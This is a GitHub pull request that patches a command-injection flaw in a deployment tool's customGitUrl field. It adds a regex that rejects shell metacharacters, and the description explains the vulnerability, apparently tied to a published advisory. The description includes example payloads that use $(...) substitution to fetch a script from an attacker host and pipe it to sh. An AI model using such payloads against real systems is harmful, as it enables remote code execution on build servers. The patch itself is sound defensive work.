fix: validate customGitUrl to prevent command injection via command substitution#4676
Open
gsmatheus wants to merge 1 commit into
Open
fix: validate customGitUrl to prevent command injection via command substitution#4676gsmatheus wants to merge 1 commit into
gsmatheus wants to merge 1 commit into
Conversation
…bstitution The customGitUrl field was only validated with z.string().optional() — no shell-metacharacter restriction. An authenticated user could inject arbitrary shell commands via command substitution, e.g.: customGitUrl: "https://github.com/x.git$(curl attacker.com | sh)" The $(...) is expanded by the shell before git clone runs, executing the injected command on the build host (local or remote SSH). customGitBranch is already protected by VALID_BRANCH_REGEX; this adds equivalent validation for customGitUrl via VALID_GIT_URL_REGEX which accepts standard HTTPS and SSH Git URLs while rejecting shell metacharacters ($, `, ;, |, &, etc.). See SECURITY-AUDIT.md for full details.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
This PR fixes the command injection vector in
customGitUrldescribed in CVE-2026-45628 / GHSA-3frc-cfh9-ch2c, which was reported but remains unpatched (Patched versions: None).git-url-validation.ts: AddedVALID_GIT_URL_REGEXthat accepts standard HTTPS and SSH Git URLs while rejecting shell metacharacters ($, backticks,;,|,&, etc.). Follows the same pattern as the existingVALID_BRANCH_REGEX.application.ts:apiSaveGitProvidernow validatescustomGitUrlwith.refine(VALID_GIT_URL_REGEX)at the Zod schema layer, rejecting malicious URLs before they reach the shell command builder.Problem
The
customGitUrlfield was validated only withz.string().optional()— no shell-metacharacter restriction. The value is interpolated unquoted into a shell command incloneGitRepository()(packages/server/src/utils/providers/git.ts:81):This command is executed via
execAsync(local,/bin/sh -c) orexecAsyncRemote(remote SSH), both of which pass the string verbatim to a shell — no escaping is applied.An authenticated user with
application: create/updatepermission can inject arbitrary shell commands via$(...)command substitution in the Git URL. Example — settingcustomGitUrlto:https://github.com/legit/repo.git$(curl http://attacker/pwn.sh | sh)makes the shell expand $(curl http://attacker/pwn.sh | sh) before git clone runs, executing the injected command on the build host. This bypasses set -e because it is expanded inline within the argument string — it does not introduce control-flow characters that would break the if ! ... then ... fi structure.
Impact
Why customGitBranch is safe but customGitUrl was not
customGitBranch is already validated by VALID_BRANCH_REGEX = /^[a-zA-Z0-9._-/]+$/ which blocks all shell metacharacters. customGitUrl had no equivalent validation — only z.string().optional(). This PR adds the equivalent protection for the URL field.